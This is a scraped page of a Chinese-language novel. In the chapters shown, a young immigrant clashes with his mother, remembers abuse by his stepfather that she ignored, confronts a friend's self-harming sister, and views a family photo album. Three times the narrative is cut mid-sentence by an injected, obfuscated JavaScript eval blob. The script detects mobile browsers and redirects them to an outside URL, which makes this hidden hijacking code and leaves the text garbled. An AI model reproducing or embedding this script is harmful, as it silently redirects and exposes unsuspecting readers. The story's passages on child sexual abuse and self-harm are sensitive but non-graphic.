可能谁都没有抱过。谁都不想要他来到这个世界上,生他下来的母亲不想,赋予他生命的父亲也不想,抚养他长大的小姨也不想。他只是个意外,稀里糊涂就这么长大了。书上只提到了冷漠,有安全感,和焦虑三种宝宝,但云决明觉得应该有第四种——茫然。他第一次离开小姨去幼儿园的时候是茫然的,她跟他讲过这个故事,说他一整天就这么呆呆地坐在椅子上,茫然四顾,根本不知道发生了什么事。他被从小姨身边带走,来到美国时也是茫然的。如今他要离开家,自己独立生活,但云决明此刻望着母亲,心中仍然只能觉得茫然。 母亲的五官很平凡,也许年轻时曾经漂亮过,但下来也只剩下疲倦的皮囊,松松垮垮地挂在骨架上。云决明和她长得不像,“真是像全了他那个负心忘义的爸,”七年前的一天,他放学回家,第一眼瞧见母亲坐在沙发上,还没来得及多打量这个陌生人几眼,就听见她这么说,“那五官,那模样,简直是一个模子里印出来的。” 他愣住了,甚至不确定对方说的是不是自己,虽说母亲那时就直勾勾地瞧着云决明。接着,他的小姨就站起了身,转身望着他,眼睛红通通的,“明明,”她柔声说,“这是你的妈妈,她要把你接去美国生活。” 云决明垂下眼,往嘴里塞进了一大口滚热的粥,把倏然涌上的无声控诉统统压了下去。说什么都没用了,已经过去七年了。 “妈,你最近身体怎么样?” 过了一会,他被烫的说不出话的喉咙终于找回了声音,于是低声问道。 说完这句话以后,嗓子眼就涩住了,好似这份关心是块粗糙的海绵,吸走了所有水分,不上不下地卡在喉咙里,把接下来本该说出的话都统统堵住——需不需要我留下照顾你?我每周回来看你一次好吗?你真的希望我搬走吗?你为什么不说点什么?为什么不想去看看我的新家?为什么不想问问我跟谁住在一起?为什么—— 他记起三月的一个周末,那时他们刚刚确定要接下伊丽莎白的租约,云决明去给艾登补习时顺便留下来吃了晚饭——饭桌上,艾登的爷爷叮嘱他们记得要买租房保险,还要给他们介绍靠谱的保险推销员。艾登的奶奶想上纽约,去给他们采购家具,“得是最好的,”她在饭桌上宣布,“我早就看好了,一批安妮女王式的家具,从餐桌到四柱床,从五斗柜到小桌几,全都是货真价实的古董。如果你们嫌老气,我也可以去费城——” “妈,”祝阿姨伸手握住了艾登奶奶的胳膊,笑了起来,“您别把孩子给宠坏了,艾登还在念大学呢,连份工作都没有,就用起昂贵的古董来了,这怎么行?他有信托基金的钱,让他自己去买去,这么大个人了,还不知道给自己选些家具吗?” “现在那些品牌的家具,什么宜家,阿什利的,用的都不是什么好木头,样式也难看得要命,千篇一律,俗气得不行——”艾登奶奶声音小了些,但仍然在抱怨。 “艾登想要好东西,他得自己去奋斗获得,妈,这点我很坚持。”祝阿姨寸步不让。 “你说得对。”艾登奶奶拍了拍她的手,“我心里其实也是这么想的,但这毕竟是孩子第一次从家里搬出去,就总想着要给他置办些好的,怕他在外面过的不舒服……明仔,你妈妈呢?她的想法是不是跟毓臻的一样?” 云决明接不上话。 好在,下一秒,艾登就立刻把这个话题接了过去,“陶瓷谷仓,宜家,阿什利这些牌子没什么不好的,奶奶,不然到时候朋友来家里玩,就要嘲笑我是个老古董了。更何况,过几年我要是去别的地方工作了,这些家具带不走,放在仓库里又怕长虫腐烂,还是别买那么好的了。” 而轮到云决明向他的母亲宣布这个消息的时候,她什么也没说,除了“嗯”一声,他还要自行表态,说他不会带走任何家具,只是一些衣服。中国人租房时总喜欢找带家具的房间。就是因为地下室空荡荡,什么家具都没有,而且老有一股若有若无的漂白水味,才最终不得已租给了两个老白,他们不知道从哪里找来了大量的二手家具,倒是把地下室布置得有模有样的。 “我身体没事,你别老担心这些。” 母亲连头也没有抬,说道。 “如果喝中药没有好转,还是要去医院看看。”云决明继续说了下去。他不知道自己说这些话是因为真的关心她,还是只为了免去良心上的愧疚,也许两者皆有,也许哪边都不是,他不想深究,“到了这个年纪,越发要多注意自己的健康,每年的体检,你还是要去做。” “哼,就算要做,我也是去法拉盛做,给现金,不会留下记录。”母亲从鼻子里发出一声厌倦的鼻哼,“体检不过就是给保险公司借口涨保险费罢了,我以前上过当,现在不会了。” 云决明清楚法拉盛的那些没有行医执照的中医诊所是怎么做所谓的体检的。他们用听诊器上下摸一遍,再诊诊脉,看看气色,最后再用从医疗器械二道贩子手上买回来的淘汰设备做个验血,就算完事了。这种应付一下来美国留学的年轻学生还行,对到了母亲这个年纪的人来说无济于事,根本发现不了健康隐患。 “如果保险费涨了,我来交就好,”他劝道,“该检查的,还是得检查,否则就是自欺欺人。” 母亲听见这句话,突然直起了身子,勺子咣当一声掉在碗里,她神色古怪地打量着云决明,犹如正在凭肉眼检验一块宝石是真的还是假的。 “你为什么这么说?”她问道,用的是命令的语气。 “只是希望你能好好保重身体,妈妈。”云决明觉得有些莫名其妙。 “是不是小琦跟你说了什么?” “她确实说过你身体不怎么舒服,但那是好久以前了——” “我找她拿过一点处方止痛药,”母亲截断了他的话,“她可能因此误会了什么。我都跟你说了,我找了法拉盛的医生看过了,也开了药了,别一直在这个问题上揪着不放了。我自己的身体,我还不知道爱惜吗?” “我只是——” “行了,吃早饭吧。大早上的,不要讲这么晦气的话,什么健康不健康的,好像你盼着你妈去死一样。” 这句话一出口,两个人的脸色都变了。 母亲立刻掩住了口,云决明则是脸色铁青。他们就这么坐在那儿,瞪视着彼此,直到白粥上的热气散尽,油汪汪的辣椒完全沉进粥底,染红了半壁江山;另一边的橄榄菜则吸饱了水分,好似从米粒上长出的青苔,没有谁说出一个字。只是母亲的胳膊突然猛地一抖,就像它要不听使唤地冲出去,摸一摸云决明的肩膀,头顶,或者什么别的能表示宽慰的部位,她那双被皱纹夹着的,黯淡的深褐色眼珠中闪过一丝歉意——云决明恍惚间意识到,这是母亲最接近说出“对不起”的时刻。 但她没有。 她拿着粥碗站起身,去了厨房。水声开得很大,很大,在不锈钢盆底发出哗啦哗啦的声音,足以把还没起床的租户都吵起来。母亲低着头,双手撑在台边,任由水就这么流着,把碗里的米粒和红油全都冲了出来,绕着碗打转。油星被甩成了一个个大小不一的圈圈,像退潮后死在沙滩上的寄居蟹和小鱼,从水流中脱离出来,固执地粘在盆底。 云决明默不作声地走到她身边,关小了水,“我来洗碗吧。”他轻声说道。 倘若那时你就这么将我丢在国内,当从未生过这个儿子,或许才是一个称职的母亲该做的。 至少如今我会快乐许多。 同一句话再度掠过他心头,他再次保持了沉默,没有说出。 他曾经问过,七年前,他曾经问过这个问题。 “妈,为什么你要把我带来美国?” 云决明还能嗅到那种气味,混合了樟脑,某种除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041200|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臭剂,空气清新剂,还有久久不开窗的沉闷味道,全都混合在一起。空气中扬起了厚重的灰尘,借着从窗帘前透出的一丝光线,能看得清清楚楚。母亲就坐在窗前,对着镜子梳着自己的头发。 听见他的声音,她惊异地回过头来——那是她第一次出现那种眼神,但云决明觉得是应该的,那是他来了美国两个月后,第一次开口叫妈。 他那时好害怕,全身上下都在颤抖,明明外面骄阳似火,八月的尾巴还紧紧地与炎热交缠在一块,云决明却觉得身坠冰窟,仿佛一个人赤身倮体地在暴风雪中行走,冰渣找到了肌肤上冻裂开的痕迹,如嗜血的藤蔓般钻了进去,牢牢吸附在每一块肌肉,每一根骨头,每一条血管上。至今,这冷气仍然伴随着他,仍然藏在心中,让他在冬天极度畏寒,让他即便在盛夏也禁不住哆嗦,冰霜覆盖血色,于是他无论何时都是那么的苍白。 “你怎么了?”母亲问道。 她的声音并不平静,但也没有抖动,只是有种诡异的瑟缩,好似她也害怕自己的孩子——但又不是老鼠遇见毒蛇的恐惧,而是一种说不出,似乎基于良心和母爱而诞生的惧怕。母亲竭力让自己的神色保持不动声色,保持惯常的那种冷淡,但一与她的双眼对上,云决明就明白了。那就像在黑暗中猛然炸开的火花,只有短短一瞬,却也足够他瞧见真相。 母亲知道。 她知道昨晚上发生的一切;她知道谁离开了这间卧室,谁又进了他的房间;她知道谁的手捂在了她儿子的嘴巴上;她同样嗅到了喷在她儿子脸上的恶臭,还有空气中淡淡的血腥味;她清楚自己会在床单上找到什么;她和自己一样一夜未眠。 云决明直觉自己那时候应该大吼大叫,失声痛哭,把屋子里所有能用来砸的东西都砸个粉碎,包括那难看的花瓶,几瓶恶俗的香水,磨损了的床头柜,细细的四角凳子,被厚重窗幔遮盖的玻璃,还有母亲脸上企图粉饰太平的面具。他应该抓起家里的菜刀,在继父进门的刹那就狠狠地捅他几刀,或者是一把枪,电影里都说美国人有枪,他要去别人家里偷一把,然后把一颗子弹送进他的额头,他要把血抹在母亲的脸上,然后看着她的眼泪把血痕冲出一条条淤痕,最后再潇洒离去。 但是,什么也没有发生。 也许是事后再回忆时大脑生造出的感受,也许当时一切就是那么发生的,但云决明眼中的色彩正在褪去,视野中的件件事物并非变得苍白,或是像黑白电影中那样明暗分明,只是没了色彩,变得淡淡的,浅浅的,薄薄的,如同漂了色的海报,或者从废墟中剥落的墙纸。云决明记得自己曾经读到过一篇新闻,上面说某座古墓的原本色彩鲜艳,尘封千年的壁画,在开墓后接触到空气的刹那就迅速褪色,上千年的时光压缩为一瞬,在场的考古学家都眼睁睁地看着原本鲜活的画面变得干瘪,毫无生气,死气沉沉——这是对他那时的感受,那时的所见描绘的最精准的一段话。 “为什么,要把我带来美国?” 他干涩地再重复了一次。 “为了你能有一个更好的生活。” 母亲转过身去,她不停地扭开这个瓶子,或者打开那个铁罐,把什么放进抽屉,过一会又把什么拿出来,显得很烦躁。 “我在国内的生活就很好。” 他不知道自己哪来的勇气,坚决地这么回答道。 “别在这胡说八道了,你在国内有什么生活?”母亲的声音陡然尖利了起来,“你的小姨和小姨夫穷得不行,住在那么老旧的房子里,还要和他的爸妈挤在一块。一家人生活紧巴巴的,根本拿不出多余的钱送你去上补习班,给你找个好点的家教老师,或者是把你送去上私立学校。更何况,以后他们要是有了自己的孩子怎么办?” “小姨夫不孕不育——” “这种事情根本没人能下定论,说生不出孩子的人多了去了,后来不都生了吗?要是他们有了自己的孩子,你在那个家里根本什么都不是,狗见了都嫌弃,说不定让你上到高中就不给你上了——退一万步说,就算他们没法生下自己的孩子,你觉得他们供得起你去上大学吗?结果还不是一样!” “他们会——” “你知道国内有多少人挤破了脑袋想出国吗?你知道这种机会有多么难得吗?你知道你妈吃了多少苦才给你换回来今天的生活吗?让你可以住在美国的大房子里,让你以后轻轻松松就能过上舒适的生活——在这里,哪怕你只有高中文凭,随便找一份工作都能活得很好,不愁吃不愁穿,在国内你做得到吗?国内那是什么环境,啊?就你小姨和你小姨夫的本事,能给你找到什么好工作,能给你什么人脉?你将来的日子一眼就望到了头,算得了什么好生活?在这里根本不需要走关系,只要你有本事,肯努力,就能实现美国梦,你懂不懂!” 不,我不懂。 “等你拿到美国身份,哪怕你学习再烂,考不上美国的大学,你想回去念清华北大,轻轻松松的事情,住得是留学生宿舍,享受的是外国人的待遇,不用去挤那没有空调没有厕所的四人间,不必忍受学校根本不把学生当人看的种种政策,以后你找工作更是香馍馍,哪里都抢着要。为什么我要把你带来美国?因为你是我儿子,我想给你更好的生活,现在这个就是更好的生活!你每天有牛奶喝,有面包吃,在国内卖到上百块钱的牛扒可以随便吃,一点都不用担心吃到假货!等你到十六岁考了驾照,我就把我现在那台车卖了,给你买台更好的车。你去国内问问,谁可以十七岁就自己开车上下学?谁可以?啊?更别说你都不用经历高考,不必经历千万人过独木舟,你现在什么都有了,为什么还要来问我这种问题?” 也许是因为心虚,也许是因为愤怒,母亲的声音越来越尖利,越来越大声,越来越咄咄逼人。每一句话背后都好似在质问云决明,我给了你这么多,即便昨晚的一切发生了又能如何?这个代价比起你将要得到的一切,根本不值一提。你为什么不感恩戴德?你为什么不跪下,感激你的母亲不仅给了你的生命,还给了你别人梦寐以求的美国身份?你还有什么可求的? “对不起。” 他小声说道,云决明不明白自己那时候为什么要道歉,可是道歉似乎是那时候他唯一能说出的话。 水哗哗地流着,沾了洗洁精的海绵轻轻转动,洗干净了白色瓷面上的油渍。如果记忆也能这么轻易洗去多好?如果肮脏也能这么轻易洗去多好?如果母子间说不清的愧疚和恩情也能这么轻易洗去多好?生活会简单很多。 母亲转身走了,擦肩而过之际,云决明瞥见她飞快地抬手擦了擦眼睛。 太迟了,不管那是不是眼泪,都太迟了。 已经过去七年了。 24. Chapter·Two 云决明按了按门铃。 约州的五月还不算很热,跟广州没得比。一件白色短袖上衣,一条牛仔裤,站在阴凉的门廊上,云决明甚至觉得有点冷,他搓了搓手臂,把手机掏出来看了一眼——他没迟到,约定了早上九点过来,现在才8:52分。 站在这儿等着艾登给他开门,倒是有些陌生了。知道他总是来得很准时,艾登经常在到点以前坐在门廊上等他,大多数时候是在摆弄他的宝贝橄榄球,偶尔会临时抱佛脚地拿统计学课本看一看,洛克希会懒洋洋趴在他的脚边,姿态就像那尊狮身人面像。 每次云决明刚走进白色雕花大门,它就会非常矜持地站起身,走下来迎接他,尾巴象征性地甩个几下,表示欢迎,偶尔可能还会舔舔他的手。云决明很满意这个态度,他不要求它对自己有多热切,只要别像冲向艾登那样冲向自己,并且直接把自己撞个人仰马翻,他就谢天谢地了。 他耐心地等了五分钟,没人应答。云决明扭头看了一眼车道,艾登那辆惹眼的福特野马还停着,他在家。 也许第一回他没听到?云决明心想,给艾登打了个电话,但是无人接听。他只好又按了一次门铃,十分钟后,又一次。 就在他考虑是不是该给艾登发个消息,就直接回家的时候,木门猛地被人打开了,艾莉站在门后,一脸愠色。 “进来吧,”她没好气地说道,“艾登在地下室忙着整理他的行李,估计没听见门铃声。” “谢谢。”云决明轻声说,心下却感到有些奇怪,艾登知道他今天会过来,也知道他不会迟到,按理说他应该会留意自己的电话才是,难不成是因为地下室的那个秘密房间的缘故? 他没料到艾莉在家,大学五月份就放假了,但高中要一直上到六月底才放假。但他注意到她的鼻子红通通的,肩上还裹着一条毯子,猜到她可能是生病了请假在家——但这就有些尴尬了,自从春节前他瞧见艾莉的伤疤,并且隐晦地提点了她的奶奶以后,云决明就再也没有跟她单独相处过,更别提说上一句话了。 “很抱歉麻烦你帮我开门,你赶紧回去休息吧。” 艾莉扭过头咳嗽了两声,“别装好人,”她冷冷的嗓音透过后脑勺传来,头发胡乱用一个夹子捞起,有不少碎发都滑脱到小麦色的后颈上,让她显得没那么咄咄逼人,“我知道你跟我的奶奶告密了。” 看来她等着跟自己说出这句话有段时间了,老大一股怨气霎时扑面而来,估计跟后来艾登也站在他奶奶那边,一家子四口人全都反对她想在油管上当博主的主意这一点有关,云决明在心中无奈地叹了口气。 他问过艾登理由,后者不支持自己的妹妹在网络上抛头露面,是不想让一群从未了解过她的陌生人在评论区对她评头论足,挑剔着她的一切,发泄着他们失败人生中无处可去的怨气和见不得人的欲望。艾登看过那些所谓的美妆博主的视频,也向云决明展示了截图,力图证明那儿的网友能有多么尖酸刻薄——‘你太丑了’,‘你太胖了’,‘能不能等你找到适合你的口红颜色以后再来做视频?’‘无聊,下一个’。 他不想让自己的妹妹经受这一切,哪怕那些心理医生都保证艾莉没有任何精神问题。 这个理由说服了云决明,令得他最终三缄其口,没有劝说艾登站在支持艾莉的那一方。 “我没有告诉她你自残的事情。”他从容回答,这一点上他倒是理直气壮。 “即便你没告诉她这件事,你也说了些什么不该说的话。”她转过身来,很少见一副中国面孔却长着一双灰色的眼眸,给人的感觉像是灰云冰雨打在油纸伞上,一种东方式的疏离美感。 “我是说了一些话,但我并不觉得我不该说,”云决明平静地与她对视着,“你的家人们很爱你,他们应该知道你的冷静和寻常模样都不过是高明的谎言,你需要帮助。” “帮助?”艾莉似笑非笑地看着他,“你指的是那些副作用会让你像绑上了一台离心机一般整日不停呕吐心悸的抗抑郁药和抗焦虑药,还是假惺惺地认同那些只知道刻板地把在学校里死记硬背的那一套理论硬箍在你身上的心理医生说出的话?我不需要任何帮助,我也不需要别人来替我决定我是否需要帮助。” 剧烈的咳嗽中断了她连珠炮一般射出的话语,艾莉弯下腰,手掩着嘴,喉咙里发出如同风箱般呼呼的嘶哑声。云决明刚想上前一步,却立刻被她的手势阻止了。 “你说我的寻常模样都是谎言,”她气喘吁吁地直起身子,声音沙哑得像个几十年的老烟枪,“你也诚实不到哪里去,你暗示奶奶我有问题,只不过是担心有一天我的事迹败露后,艾登会怪罪你一直知道真相,却什么也没说。你害怕他会生气,会迁怒于你,最终会失去他罢了” 云决明什么也没说,无法为自己辩解。他不否认自己告诉艾登奶奶的确有想要撇清责任的想法,但他同时也确实关心着艾莉——她毕竟是艾登的妹妹,只是这一点说出来对方根本不会相信。 艾登家的大宅静悄悄的,无声无息,如果艾登真的在地下室的话,此时的他也比一副画像,一个幽灵,或是一束花好不了多少,存在微不足道。只有他们两个站在大门敞开的门厅前,一个一针见血,一个无言以对。徐徐夏风来了又走,仿佛也被凝重的沉默吓跑。云决明垂下双眼,忽地发觉艾莉打着赤足,便走过去关上了大门。 “你不承认也无所谓,我只希望你以后不要再多管闲事。” 望着他的背影,艾莉的语气微妙地软和了一些,低声说道。 “你不是因为我对你的奶奶说了些什么,或者我那么做的目的而生气。” 在艾莉马上要跨离门厅的前一刻,云决明终究还是开口了。 如果没有早上与母亲的抵牾,云决明此时可能什么都不会说,任由艾莉离开。 但世界上已经有太多对无法坦诚,关系别扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041201|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至极的母子,他不希望这支臃肿的队伍里再添一员,尤其这个人还是艾登的妹妹——她出生在这样一个温暖的家庭,即便父亲过世,她也该活得像个无忧无虑的公主,被所有家人宠爱着,而不是用刀片将自己的大腿划得鲜血淋漓,在无人聆听的深夜细数伤痕,在年纪比自己大得多的男人身上寻找慰藉,竖起全身的刺抵御任何想要关心她的人。 “你生气,是因为你的祖母否决了你的想法,拒绝支持你想做的事情。你生气,是因为你第一次敞开心扉跟你的家人沟通,他们却仍然不能理解你。你生气,是因为这一切本该有不同的结果,假如你的父亲还活着。” “你以为你是谁?”艾莉旋风般转过身来,毯子滑落在木地板上,刚生过崽的母熊此刻可能也会被气势汹汹的她逼退两步,“别装得好像很了解我一样对我进行心理分析——” “我说的没错。” “你根本不了解我——” “你说得对,但我说的也没错。” “你也根本不了解我们家的事——” “这话不假,但也不能证明我说错了。” 艾莉在云决明面前停住了,那双灰色的双眸瞪得大大,直勾勾地盯着他。她是那么的愤怒,仿佛全身都在起伏。不是他的话,不是他戳破的假象,也不是摆在面前的尖锐事实让她此时看起来像个马上就要被扎破的气球,而是某种折磨了她一辈子,早已刻进骨头的痛苦——此刻全都从骨髓中缓慢伸出,如一把把苍白的剑,刺破血管,肌肤,毛发,将她牢牢地钉在愧疚的十字架上,动弹不得。 在她的瞳孔深处,云决明仿佛能看见当年的秦诗;在秦诗的瞳孔深处,他好似看见了当年的自己;在当年自己的瞳孔中,他又瞧见了如今艾莉的反射,无止无休。 闭上眼睛,深吸一口气,云决明后退一步。 “我说的是对的。”他再次重复了一遍,突觉有些心酸。多年来他永远是向别人伸出手,点醒别人的那个角色。七年前没有人悄悄告诉他,只要你肯屈服,只要你肯服软,只要你肯打断自己的骨头,和着血肉去融入这个你从未称之为家的地方,有些悲剧就能避免。一年前也没有人悄悄告诉他,没有哪个学校的心理顾问会允许学生如此病态地依赖自己,你得离他远一些,再远一些,直到他不可能有任何机会牢牢把你抓住。 “是的。” 只在刹那间,艾莉又恢复了那种浑不在意,吊儿郎当,拒人于千里之外的模样,承认云决明的话是对的时候,她甚至露出了笑容,就如同适才的怒气是一场笑话,像她这么一个潇洒的人,又怎会把他的话放在心上。 “只是,你知道最讽刺的是什么吗?”她虚假的笑容突然蒙上一层阴霾,反而让它看起来真实了许多,“如果我们的父亲没有去世,他此时就会跟艾登一块偷偷帮我对抗奶奶和妈妈,支持我做一切我想做的事情。” 说完,她捡起毯子,大踏步地走了。 25. Chapter·Three 艾登没听见他下楼的声音。 云决明在楼梯那儿站了一会,艾登就坐在他面前的沙发上,轮廓分明的侧脸仿佛是沉思的雕像,一动不动,专注地看着手上的书。他只穿着一件简单的黑色短袖上衣,健壮有力的古铜色胳膊从袖口挣出来,不用刻意鼓起也能瞧见清晰的肌肉线条。 说不清是什么让云决明停住了脚步,但他突然一步也不想往前,也不想发出任何让艾登知晓自己来了的声响,好似在经过了那样一个压抑的清晨以后,能这么静静地看着对方,就已经是世界上最令他感到满足的事情,恍若有谁将一个湿漉漉的气球从水沟中捡起,轻轻吹气,拂去落叶脏污,让他能重新漂浮在空中—— 如果此时此刻能就这么持续下去,云决明觉得自己能注视着这一幕直到天荒地老,仿佛一只遥遥注视着焰火的飞蛾。 但他不想让艾登觉得自己在偷窥什么,便咳嗽了两声,艾登如大梦初醒般抬起头,吃惊地瞧着他。 “Ming?” 他的视线马上瞥向自己的手机,接着就惊得跳了起来,手中那本书被他塞到了一旁,“天啊——已经这个时候了?真对不起,Ming,我完全忘了时间,手机也调了静音,不然我肯定会在门口等着你的。是爷爷奶奶让你进来的吗?” “是艾莉,其他人似乎都不在家。” “爷爷奶奶多半散步还没回来,妈妈应该出门去帮艾莉拿药了——她得了重感冒,要在家休息几天。你过来坐。” 艾登手忙脚乱在沙发上清理出了一块空间。云决明艰难地从一堆箱子中间挤过去,它们都只打包了一半,里面胡乱塞着艾登的衣服,鞋子,外套,还有鞋子,看得云决明十分抓狂。他一坐下来,就迫不及待地清空了离自己最近的那个箱子,开始把倒出来的毛衣一件件叠好。 “你找我来帮你打包行李,不会就是想让我干这些事吧?” 云决明怀疑艾登根本是故意把一切都弄得乱糟糟的,好让看不惯的自己出手整理。 “当然不是——当然,你想要帮我叠衣服的话,我也不会反对。”艾登笑嘻嘻地说道,“ 我倒是想省点事,直接全都买新的寄到公寓里去就好了。但我妈妈不给,她说我要是买了新的,旧的就再也不会穿了,还联合了爷爷奶奶一起反对我,不许奶奶帮我打包。” “所以你就把我找来了?”云决明挑起眉毛,这不还是不打自招了吗? “这有什么的,”艾登冲他挤挤眼,笑容越发无辜,“我们不是好兄弟吗?以后我的公寓就是你的公寓,我的家就是你的家,同理,我的行李也是你的行李,帮我收拾跟你帮你自己收拾,是一样的。” “好兄弟”这三个字突然让云决明的胃不舒服地扭动了一下。 “叠几双袜子你总能做吧。” 他没好气地说道,把几双从毛衣下抽出的袜子向艾登丢去,特别仔细瞄准了脸。然而艾登倒是非常精准地在空中一一把它们抓住,接着就响亮地吹了声口哨,“我一定会是一个非常出色的找球手。”他自恋地说道,“虽然分院帽多半会把我分在格兰芬多,但我还是想去斯莱特林。” “为什么?” “因为你多半会被分到斯莱特林。”他一边说着,一边想要通过对比袜子的长度来找出哪两只是配对的,“不对,这么一想,也有可能是拉文克劳。总之,如果我们都去了霍格沃茨,我要排在你后面,你去哪个学院,我就跟分院帽说我也要去哪个学院。” 这句话让云决明嘴角不自觉勾了起来,他本来还想跟艾登提一下艾莉适才跟他说的话,此刻全都抛到了脑后。 “万一分院帽不给呢?”他嚼着笑,低头帮艾登揪去衣领上的小毛球。 他没等到回答,却只听见了“咚”的一声,愕然抬头一看,却发现艾登正弯着腰,费劲地在沙发底下摸索着什么,那本之前被他塞在一旁的书跌落在地毯上,云决明这时才看清,那原来是一本相册,封皮做得非常精美,白色的天鹅绒封面,四角压金,正中是一块铭刻着维尔兰德姓氏的铜牌。 “噢——”艾登直起身子,手里拿着一只袜子,“那是我父亲亲手制作的相册。” 他像捧着什么珍宝似的捡起来,小心翼翼地四处检查着。“这么重要的东西,你应该赶紧收好。”云决明叮嘱道,谁知艾登摇了摇头。 “我拿出来,就是想要给你看看。”他说道,身子一挪,就挤到了云决明身旁。汗毛茸茸的手臂一下子挨上了云决明的胳膊,烫得像块烙铁。云决明浑身一震,到底还是没有移开手,“自从我父亲去世以后,奶奶就把这本相册收了起来——你懂的,害怕我和艾莉见了伤心。直到我今天收拾东西,才在保险柜里发现了它。奶奶用这卷丝绸把它裹得严严实实的,害我一直以为那是什么珍贵的绸缎,才要那么郑重地放在里面。” 艾登手细细摩挲着那块铜牌,语气里有久别重逢的熟悉感和喜悦。 “我没有勇气打开来看……是不是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041202|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可笑?堂堂一个男人,却连翻开相册的力气都没有。 “刚才,我就这么坐在这里,完全淹没在与父亲有关的回忆中。那些片段距离我很远,就好似我眼前有一架极长的望远镜,又或是它们躲在遥遥的隧道远端,看起来仿佛是磨损了的老式黑白默片,就是那种模糊不清,不停有杂质出现的画面,一帧一帧地播放。 “如果不是这样,那种痛苦——就是仿佛父亲死去时,我有什么也跟着一同死去,但它仍然是我身体的一部分,我的心仍然可以感觉到它,知道这些年来血肉骨头是怎么一点一点地腐烂干净。整个过程中,痛苦都不会停止,即便已经没有任何实质性的东西可以腐烂,它却仍然在一点点腐蚀。我说的就是这种痛。 “我没法说清楚那种感觉,它就像一种病,慢慢侵入骨髓,从身体内部席卷而来,你无法抵御,也没法抗拒,所以能做的就是尽可能地拉远距离,把镜头刮花,把颜色调成黑白,把声音关掉,让它就像一条无声而平静的小溪一样流淌。对我来说,一旦打开相册,这条小溪就会在瞬间成为海啸,又或者是波涛汹涌中的暴风雨。但我想,有你在,也许我就能做到。” 他微笑着望着云决明。实在不可思议,那么沉重,那么绝望又痛苦的话竟然可以从他的口中说出,而艾登的语气又是那么轻松,他的眼圈没有红,他的喉咙没有颤抖,他的嗓音平静有力,他挨着云决明的手臂依旧滚烫——刹那间,云决明明白过来,这份痛苦陪了他成长了十年,早已与艾登融为一体,他的温暖中有一分,他的幽默开朗中有一分,他的贫嘴玩笑中有一分,他抱着橄榄球冲过端区时,这份痛苦与观众一同欢呼;他在深夜沉睡时,这份痛苦随他入梦。 太贴切,太吻合,再没人能察觉。 父母与孩子的感情,该是一种多么奇异的存在,云决明心想。既可以淡漠生疏如他与母亲,又可以深厚得如同艾登与他的父亲,他已经去世了十年,但艾登哀悼他的程度,就如同他昨日才去世一般。然而这两者带来的痛苦,却又是互通的。云决明完全能明白艾登在说什么,只是在今天以前,从来没有人用如此栩栩如生的语言去描绘它,因此云决明只当它不曾存在,即便他一遍又一遍地路过望远镜,路过隧道。如今,他一低头,也能看见那悄悄腐烂的部分——从他的亲生母亲丢下只有一岁的他,从他的亲生父亲在他还未出生时就绝情离去开始,这个伤口就已经存在了。 “打开吧,”他也微笑了起来。“我很想看。” 26. Chapter·Four 翻开第一页,就是爸爸和妈妈的结婚照。 ——不是那种聘请摄影师拍摄的专业大片,也不是在某个风景胜地留以纪念,裙裾翩翩飞舞在笔挺西装旁的相片。而是一张偷拍。“据说这是奶奶随手抓起相机拍到的瞬间,”艾登欢快地说道,从他的声音判断,谁都猜不到他适才坐在这里盯着相册封面看了许久,听不见门铃,也忘了时间,“奶奶很为这张照片自豪,哪怕她的后来拍照水平特别差,她还是以大摄影家自诩呢。” 照片上,妈妈握着香槟酒杯,羞涩地借着玻璃来遮掩脸上藏不住的笑意,酒窝偷偷从唇角跑出,高高挂在脸上;而爸爸拿着酒瓶,偏头望着自己的妻子,眼中尽是爱意,仿佛万家灯火,尽隐眸中。 艾登指尖落在那个年轻人的面庞,虚虚描绘他的面容。 “再过几年,我也要跟照片上的父亲一个年纪了。”他轻声说,“是不是很神奇,儿子总有一天会长到父亲曾经的年龄。好似透过儿子,就能看见父亲的青年。可惜继承了父亲容貌的不是我,是艾莉。有时候妈妈打量她的神色,就仿佛是在猜想父亲年轻时的模样。” “他和祝阿姨是怎么认识的?”云决明问道,想不到他也会好奇这种事情。 “我缠着父亲说这个故事,大概有一百遍了吧。”艾登闻言大笑了起来,“那曾经是我最爱听的睡前故事——但是他们的相遇其实很老套。我爸爸当年成绩很好,他本来可以去P大的,但是我们家从曾祖父那一辈开始,家里的孩子个个都是去U大念书,在U大的橄榄球队效力,这算是一个家族传统。 “爸爸没有违抗爷爷的心愿,但他真正想去的大学其实是P大,所以他找一个P大的学生买了停车许可——那时候还没有现在这么先进,全部都是电子登记,许可直接和车牌号码挂钩,当时只要贴了那张贴纸,就能停在学校里。然后,他就会溜进大课的教室,偷听P大的教授上课。 